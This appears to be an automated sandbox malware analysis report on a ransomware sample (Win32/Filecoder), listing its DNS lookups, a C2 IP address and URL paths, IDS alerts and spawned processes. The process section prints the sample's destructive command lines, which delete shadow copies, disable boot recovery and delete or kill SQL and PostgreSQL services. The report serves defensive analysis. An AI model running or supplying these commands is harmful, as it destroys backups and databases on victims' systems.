Nov 6, 2023 19:45:15.234966040 CET	192.168.2.1	192.168.2.5	8305	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:46:49.205955029 CET	192.168.2.1	192.168.2.5	8305	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 6, 2023 19:44:27.445254087 CET	192.168.2.5	1.1.1.1	0x80a9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 6, 2023 19:44:27.598443031 CET	1.1.1.1	192.168.2.5	0x80a9	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2023 19:44:27.598443031 CET	1.1.1.1	192.168.2.5	0x80a9	No error (0)	api4.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Nov 6, 2023 19:44:27.598443031 CET	1.1.1.1	192.168.2.5	0x80a9	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Nov 6, 2023 19:44:27.598443031 CET	1.1.1.1	192.168.2.5	0x80a9	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

91.215.85.142

Target ID:	0
Start time:	19:44:22
Start date:	06/11/2023
Path:	C:\Users\user\Desktop\_145.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\_145.exe
Imagebase:	0xe50000
File size:	197'120 bytes
MD5 hash:	B54D7DA0FE6869006FFD3B9B470F0DC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: vssadmin.exePID: 4956, Parent PID: 5700

General

Target ID:	3
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Imagebase:	0x7ff618820000
File size:	145'920 bytes
MD5 hash:	B58073DB8892B67A672906C9358020EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Analysis Process: cmd.exePID: 5720, Parent PID: 5700

General

Target ID:	4
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 1396, Parent PID: 5700

General

Target ID:	5
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 6540, Parent PID: 4956

General

Target ID:	6
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 6400, Parent PID: 1396

General

Target ID:	7
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 4712, Parent PID: 5720

General

Target ID:	8
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 1972, Parent PID: 5700

General

Target ID:	9
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: sc.exePID: 4612, Parent PID: 5720

General

Target ID:	11
Start time:	19:44:24
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc delete "MSSQLFDLauncher"
Imagebase:	0x10000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Analysis Process: conhost.exePID: 4852, Parent PID: 1972

General

Target ID:	12
Start time:	19:44:25
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: notepad.exePID: 3112, Parent PID: 1028

General

Target ID:	17
Start time:	19:45:14
Start date:	06/11/2023
Path:	C:\Windows\System32\notepad.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt
Imagebase:	0x7ff7144b0000
File size:	201'216 bytes
MD5 hash:	27F71B12CB585541885A31BE22F61C83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Disassembly

⊘No disassembly

Source: http://91.215.85.142/QWEwqdsvsf/ap.phpx	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpr	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpC:	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpnQ	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpE	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php?	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpP	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpM	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpf	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php_	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.php	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpata	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/ows	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/RS	Avira URL Cloud: Label: malware
Source: http://91.215.85.142/QWEwqdsvsf/ap.phpj	Avira URL Cloud: Label: malware

Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49711 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49713 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49715 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49719 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49720 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49721 -> 91.215.85.142:80
Source: Traffic	Snort IDS: 2039815 ET TROJAN Win32/Filecoder.OJC CnC Checkin 192.168.2.5:49722 -> 91.215.85.142:80

Source: Joe Sandbox View	IP Address: 173.231.16.77 173.231.16.77
Source: Joe Sandbox View	IP Address: 173.231.16.77 173.231.16.77

Source: _145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2402014969.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2353415484.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2164025204.0000000004E67000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2439049300.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2317335616.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2288444944.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2234137390.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2253989150.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2276294552.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2401176735.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php
Source: _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3026631650.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2248365883.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2994950360.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php?
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpC:
Source: _145.exe	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpContent-Type:
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpE
Source: _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpM
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpP
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php_
Source: _145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpata
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2751883110.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpf
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpj
Source: _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168413825.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpnQ
Source: _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146130235.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146593085.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpr
Source: _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2138463076.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpx
